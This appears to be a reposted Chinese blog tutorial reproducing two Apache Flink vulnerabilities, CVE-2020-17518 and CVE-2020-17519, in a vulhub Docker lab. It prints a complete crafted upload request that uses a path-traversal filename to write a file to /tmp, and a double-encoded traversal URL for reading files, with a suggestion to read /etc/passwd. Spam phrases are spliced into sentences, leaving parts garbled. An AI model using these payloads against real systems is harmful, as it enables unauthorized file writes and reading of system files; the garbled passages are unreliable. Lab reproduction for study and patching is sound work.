如何进行Apache Flink 文件操作漏洞CVE-2020-17518及CVE-2020-17519的分析


本篇文章为大家展示了如何进行Apache Flink 文件操作漏洞CVE-2020-17518及CVE-2020-17519的分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据免费云主机域名分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。CVE-2020-17519Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。CVE-2020-17518Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。CVE-2020-175191.11.01.11.11.11.2CVE-2020-17518Flink 1.5.1-1.11.21.本次漏洞环境使用vulhub的docker环境搭建,vulhub下载地址:https://github.com/vulhub/vulhub/2.下载完成后传入装有docker和docker-compose环境的虚拟机,进入目录cd vulhub-master/flink/CVE-2020-17519/3.使用docker-compose up -d 拉取漏洞环境,因17519的漏洞环境版本是1.11.2所以复现两个漏洞只需要一个漏洞环境即可。出现”done”表示拉取成功4.在浏览器输入http://your-ip:8081查看页面CVE-2020-17518复现1、首先我们先使用CVE-2020-17518漏洞写入文件,在首页抓包构造以下构建数据包进行发送POST /jars/upload HTTP/1.1Host: your-ip:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=——–721072898Content-Length: 149———-721072898Content-Disposition: form-data; name=”jarfile”; filename=”../../../../../../../../tmp/success”success———-721072898–2.上面数据包返回的虽然是400但是已经写入到docker中,进去docker查看CVE-2020-17519复现1.上面写入后要是不能进入docker查看这里可以利用CVE-2020-17519漏洞进行文件读取,在页面首页输入以下payload查看tmp目录下的文件http://172.16.1.147:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fsuccess2.修改后面的payload改为查看etc下的passwd文件建议升级到安全版本或最新版本。上述内容就是如何进行Apache Flink 文件操作漏洞CVE-2020-17518及CVE-2020-17519的分析,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注云编程开发博客行业资讯频道。

相关推荐: IP端口扫描工具

可以实现多IP,多端口扫免费云主机域名描功能相关推荐: 网络分流器|高速骨干网流量采集与分流实现网络分流器|高速骨干网流量采集与分流实现方案1 流量采集|网络分流器所谓流量采集,就是将网络流量通过物理层、数据链路层的信号解析和解帧,实现IP原始报文的获取。骨干…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/05 12:58
下一篇 02/05 12:58